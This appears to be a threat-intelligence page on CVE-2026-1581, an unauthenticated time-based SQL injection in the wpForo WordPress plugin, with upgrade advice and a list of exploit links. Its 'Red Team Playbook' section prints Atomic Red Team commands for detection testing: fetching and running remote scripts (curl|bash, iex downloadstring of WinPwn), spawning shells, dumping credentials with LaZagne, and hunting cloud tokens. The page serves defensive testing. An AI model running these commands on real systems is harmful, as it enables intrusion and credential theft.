CVE-2026-1581
Overview
This vulnerability is a time-based SQL Injection affecting the wpForo Forum WordPress plugin. The root cause is insufficient escaping and lack of proper parameterization of the 'wpfob' user-supplied input within SQL queries. The flaw exists in all plugin versions up to and including 2.4.14, specifically in the database query construction logic handling the 'wpfob' parameter.
Vulnerability Description
The wpForo Forum plugin for WordPress is vulnerable to time-based SQL Injection via the 'wpfob' parameter in all versions up to, and including, 2.4.14 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
Impact
An unauthenticated attacker can exploit this vulnerability remotely to extract sensitive database information by injecting SQL queries through the 'wpfob' parameter. No user interaction or authentication is required (CVSS vector AV:N/AC:L/PR:N/UI:N), enabling data disclosure without integrity or availability impact. This can lead to unauthorized disclosure of confidential data stored in the WordPress database, potentially compromising user privacy and site integrity.
Solution
Users should upgrade the wpForo Forum plugin to a version later than 2.4.14 where this vulnerability is addressed. Detailed patch information and remediation steps are available from Wordfence's advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/4c447dbb-f8fb-4b46-9c47-20ab7330bbaa. The plugin's source code fixes can be reviewed at the WordPress plugins Trac repository, specifically in Topics.php and wpforo.php. No alternative workarounds are documented, so applying the official update is required.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the wpForo Forum plugin for WordPress arises from a time-based SQL injection flaw associated with the 'wpfob' parameter. This issue is primarily due to inadequate escaping of user-supplied input and insufficient preparation of the SQL query. When an application fails to properly sanitize input data, it allows attackers to manipulate SQL queries by injecting malicious code. In this case, the vulnerability enables unauthenticated users to append additional SQL commands to existing queries, potentially leading to unauthorized access to sensitive data stored in the database. The severity of this flaw is underscored by its CVSS score of 7.5, indicating a high level of risk.
Attack vectors for this vulnerability are straightforward, as they do not require authentication. An attacker can exploit this flaw by crafting a malicious request that includes specially formatted input in the 'wpfob' parameter. By leveraging time-based SQL injection techniques, the attacker can infer the structure of the database and extract sensitive information, such as user credentials, personal data, or configuration settings. Exploitation scenarios could range from simple data extraction to more complex attacks that involve privilege escalation or even complete database compromise, depending on the database's configuration and the permissions associated with the web application.
The real-world impact of this vulnerability can be significant for organizations using the wpForo Forum plugin. The potential for data breaches poses a serious business risk, particularly in industries that handle sensitive information, such as finance, healthcare, or e-commerce. Unauthorized access to user data can lead to reputational damage, loss of customer trust, and potential legal ramifications due to non-compliance with data protection regulations. Furthermore, the ease of exploitation may encourage attackers to target vulnerable installations, increasing the likelihood of successful attacks and subsequent fallout.
To detect and mitigate this vulnerability, organizations should adopt a multi-faceted approach. Regular security assessments, including vulnerability scanning and penetration testing, can help identify instances of the flaw before they are exploited. Additionally, implementing web application firewalls (WAFs) can provide an additional layer of protection by filtering out malicious requests. It is also crucial to ensure that the wpForo Forum plugin is updated to the latest version, as developers often release patches to address known vulnerabilities. Furthermore, employing secure coding practices, such as parameterized queries and prepared statements, can significantly reduce the risk of SQL injection vulnerabilities in future development.
In conclusion, the SQL injection vulnerability in the wpForo Forum plugin presents a serious threat to organizations utilizing this software. The potential for unauthorized data access and the associated business risks necessitate immediate attention and action. By implementing robust detection and mitigation strategies, organizations can protect themselves from exploitation and safeguard sensitive information against unauthorized access.
CSURFACE threat intelligence has identified a marked escalation in activity related to CVE-2026-1581, highlighted by the emergence of a publicly available proof-of-concept exploit hosted on GitHub. This development has coincided with a significant increase in exploitation attempts detected by our sensors, indicating that threat actors are actively leveraging this vulnerability. The vulnerability’s CVSS score has been formally assigned at 7.5, reflecting its high severity and potential impact. Additionally, the EPSS score has risen substantially, placing this vulnerability in the upper percentile of likely exploitation, which underscores an elevated risk environment. For defenders, this means that the window for proactive mitigation is narrowing as exploitation tools become more accessible and attacks more frequent. The increased visibility of exploit code lowers the barrier for less sophisticated adversaries to attempt attacks, thereby broadening the threat actor landscape. Consequently, the risk level associated with CVE-2026-1581 has escalated from a theoretical concern to an active and pressing threat, necessitating heightened vigilance in monitoring and response efforts.
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
rootdirective-sec/CVE-2026-1581-Analysis-Lab
|
rootdirective-sec | 1 | 0 | 2026-02-27 | View |
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-1581 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/4c447dbb-f8fb-4b46-9c47-20ab7330bbaa?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/wpforo/trunk/classes/Topics.php#L1702 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/wpforo/trunk/wpforo.php#L1077 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset/3459801/ |